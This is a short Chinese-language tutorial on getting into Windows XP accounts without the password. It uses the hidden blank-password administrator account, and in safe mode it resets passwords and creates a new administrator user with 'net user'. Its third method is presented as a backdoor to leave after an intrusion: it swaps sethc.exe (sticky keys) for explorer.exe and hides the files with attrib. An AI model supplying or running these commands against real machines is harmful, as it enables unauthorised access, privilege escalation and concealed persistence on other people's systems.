破解windows XP的登陆密码(不必借助任何外部工具的方法)
方法1——利用“administrator”(此方法适用于管理员用户名不是“administrator”的情况)
我们知道在安装Windows XP过程中，首先是以“administrator”默认登录，然后会要求创建一个新账户，以进入Windows XP时使用此新建账户登录，而且在Windows XP的登录界面中也只会出现创建的这个用户账号，不会出现“administrator”，但实际上该“administrator”账号还是存在的，并且密码为空。
当我们了解了这一点以后，假如忘记了登录密码的话，在登录界面上，按住Ctrl+Alt键，再按住Del键二次，即可出现经典的登录画面，此时在用户名处键入“administrator”，密码为空进入，然后再修改“zhangbp”的口令即可。
方法2——利用NET命令
1、重新启动计算机，在启动画面出现后马上按下F8键，选择“带命令行的安全模式”。
2、运行过程结束时，系统列出了系统超级用户“administrator”和本地用户“CHEN”的选择菜单，鼠标单击“administrator”，进入命令行模式。
3、键入命令:“net user CHEN 123456”，强制将“CHEN”用户的口令更改为“123456”。若想在此添加一新用户(如:用户名为abc，口令为123456)的话，请键入“net user abcdef 123456 /add”，添加后可用“net localgroup administrators abcdef /add”命令将用户提升为系统管理组“administrators”的用户，并使其具有超级权限。
4、重新启动计算机，选择正常模式下运行，就可以用更改后的口令“123456”登录“CHEN”用户了。
方法三：通过制作后门。这个是利用五次SHIFT键。这点可用在入侵的留后门上，如下：
Copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
其实，这是一个类似于替换的操作，它会用前一个的内容替换后一个的内容，但是它们的名称却不会改变，只换内容不换名称。很强大。
然后copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
这一步我始终不明白为什么，其实我认为不加也可以。最后为安全期间，可以对其进行隐藏。
Attrib c:\windows\system32\sethc.exe +h
Attrib c:\windows\system32\dllcache\sethc.exe
+h
这就可以完成 了。
